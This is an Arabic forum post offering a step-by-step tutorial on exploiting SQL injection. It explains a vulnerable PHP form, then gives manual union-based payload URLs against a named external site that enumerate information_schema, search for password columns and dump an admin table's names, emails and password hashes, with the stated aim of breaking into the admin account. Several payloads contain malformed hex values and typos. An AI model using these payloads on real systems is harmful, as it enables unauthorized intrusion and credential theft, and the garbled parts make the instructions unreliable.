ٱٱلجنرٱل صدٱٱم ٱلشرعبيے
السٌّمعَة : 47 تاريخ التسجيل : 19/11/2012 العمر : 34 الموقع : https://m.facebook.com/profile.php?id=465134066889659
| موضوع: الدرس ثاني-كيفية كتشاف ثغرات جزء اول السبت مايو 03, 2014 3:40 pm | |
| بسم الله الرحمن الرحيم [/SIZE][/COLOR] اليوم و في درسنا هذا ريحين نشرح كيفية اكتشاف الثغرات خطوة بخطوة لتعريف Sql injection : وهي ثغرات تحدث في حال إدخال متغير ما على إستعلام (query) للغة قواعد البيانات mysql ومن ثم توجيه إستعلامات مخصصه لإستغلال مثل هذه الثغرات لنحصل على الهدف النهائي وهو إستخراج المعلومات من قاعدة البيانات بشكل كامل و غير شرعي , ويوجد للثغرة عدة لنذكر إثنين منها : error based sql injection blind sql injection في النوع الأول يكون إستغلال الثغرة ميسر ومن دون اي مشاكل وبسرعه تامه. اما في النوع الثاني تكون المشاكل في تخمين إسم ونوع الجداول والصفوف مما يؤدي إلا تأخر العمليه (ولكنها تتم بالنهاية).
ومن الجدير بالذكر أيضاً أن هذه الثغرات تستهدف الكثير من اللغات البرمجية مثل php , java , asp , aspx.
نبدء في طريقة White Box والتي سوف نقوم بشرح أكودا الثغرة المكتوبه بلغة Php بالإعتماد على لغة Mysql
[sor2]http://upload.sa3eka.com/do.php?img=4171[/sor2]
نلاحظ في الصورة السابقه ولنشرح المكونات
السكربت يعمل إدراج لملف config.php والذي يتصل بدورة بقواعد البيانات. السطر رقم 5 نلاحظ تعريف المتغير name بالقيمه المدخله من نوع POST والتي تتمثل بالحقل name. بالسطر رقم 7 نلاحظ عمل إستعلام (mysql query ) والذي يحاول إختيار جميع الحقول الموجوده في الجدول name ومطابقتها مع المتغير. بالسطر رقم 14 نشاهد عنوان ومعلومات النموذج (form) وهي قيمه POST كوسيلة لإرسال البيانات ومعالجتها بملف index.php.
لنأتي الأن لشرح تفاصيل الثغرة ومعرفة كيفية حدوثها , نشاهد أن المتغير لم يفلتر ولم يحدد ما هو من قبل المبرمج لذلك يسمع بإدخال جميع الأوامر والتعابير إلى الإستعلام مما يمكن حقن كود يؤدي لحدوث خطأ ينتج عنه ثغرة sql injection يؤدي إلى إستخراج جميع المعلومات الموجوده في خادم قواعد البيانات. هكذا نكون فسرنا الكود وإكتشفنا الثغرة الموجوده بالسكربت بكل سهوله من خلال قرأة المدخلات والتحقق من عدم فلترتها.
الأن لنأتي إلى إستكشاف الصفحه ومن ثم محاولة إستغلال الثغرة, لنلقي الأن نظرة على الفورم من خلال هذه الصورة [sor2]http://upload.sa3eka.com/do.php?img=4172[/sor2] نلاحظ وجود فورم بسيط , لنحاول إدخال أي قيمه لنلاحظ ان الفورم لم يحرك ساكن ! ممتاز لنحاول الأن إدخال علامه (‘) single quote ومن ثم ملاحظه ما سوف يحدث من خلال هذه الصورة [sor2]http://upload.sa3eka.com/do.php?img=4173[/sor2] حلو الكلام
وفي طريقة اليدوية يعني بدون برامج مثلا
نستخدم الامر order by لمعرفه عدد الاعمده المصابه
نبلش من 1 ونزود لحتى يختفي معانا الخطأ
- الكود:
-
order by 1-- order by 5-- order by 10-- order by 15-- [color][size] لاحظ اشاره الناقص في اخر الرابط -- يمكن استبدالها في بعض المواقع بالاشاره */ اي هكذا [/size][/color] - الكود:
-
order by 1/* [color][size] order by 15-- هنا ظهر الخطأ النتيجه تجاوزنا عدد الاعمده المحدد الحل نبدأ بتقليل عدد الاعمده الى ان يعود الوضع الي ما كان عليه order by 14 لاحظ الان الموقع تمام ما فيه ايا خطأ اذا عدد الاعمده تمام نضيف الامر التالي مع الاعمده union select ونضيف قبل الرقم علامه الناقص [/size][/color]يصير الرابط هيك - الكود:
-
http://www.the--king.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--
الان لنعرف اصدار القاعده نكتب - الكود:
-
version() بعض الاوامر database() version() user() الان نضيف للحقنه - الكود:
-
concat(table_name,0x3a,column_name,0x3a,table_schema) - الكود:
-
+from+information_schema.columns-- فتصبح - الكود:
-
http://www.the--king.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,concat(table_name,0x3a,column_name,0x3a,table_schema),7,8,9,10,11,12,13,14++from+information_schema.columns-- الان نضيف الامر التالي [sor2]http://upload.sa3eka.com/do.php?img=4174[/sor2] ههههههههه تفائلو - الكود:
-
where+column_name+LIKE+CHAR(37, 112, 97, 115, 37) - الكود:
-
http://www.the--king.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,concat(table_name,0x3a,column_name,0x3a,table_schema),7,8,9,10,11,12,13,14++from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)-- شوف اخي اطلع ع النتائج بتلقى الجداول المهمه هي الادمن اليوزر بس احنا بدنا نخترق الادمن وهو المتوقع هدفنا يلا نصيده
SurveyAdmins:admin_password:SURVEYS SurveyAdmins:admin_md5_password:SURVEYS
انتو شايفين عنا خيارين الاول هو الي مطلوب نشوف كيف نعمل ندخل لي هذا الموقع - الكود:
-
http://www.waraxe.us/sql-char-encoder.html تشفير اسم الجدول وعنا اسم الجدول هو مثلا SurveyAdmins نوع التشفير هو مثلا - الكود:
-
MySql hex-encoded string يصير الان بحث من اسم هدا الجدول وذلك من خلال الامر where+table_name= يعني هيك - الكود:
-
where+table_name=0x15248796335b5tr55 الاستغلال - الكود:
-
http://www.the--king.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,concat(table_name,0x3a,column_name,0x3a,table_schema),7,8,9,10,11,12,13,14++from+information_schema.columns+where+table_name=0x0x15248796335b5tr55--
ما شاء الله طلع لنا خيارات كثيره الان خلينا نجمع الاستغلال اسم الجدول SurveyAdmins نجمعها كلها مع بعض بالامر concat وبتصير هيك concat(name,0x3a,pass)[/COLOR] - الكود:
-
;admin_id;admin_fname;admin_lname;admin_md5_password;admin_password ;admin_email;admin_perm; نجمعهم الامر - الكود:
-
concat(admin_id,0x3a,admin_fname,0x3a,admin_lname,0x3a,admin_md5_password,0x3a,admin_password ,0x3a,admin_email,ox3a,admin_perm) نركبه بالحقنه - الكود:
-
http://www.the--king.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,concat(admin_id,0x3a,admin_fname,0x3a,admin_lname,0x3a,admin_md5_password,0x3a,admin_password ,0x3a,admin_email,0x3a,admin_perm),7,8,9,10,11,12,13,14+from+SURVEYS.SurveyAdmins-- [COLOR="DarkOrange"][SIZE="4"]انتهى الجزء اول | |
|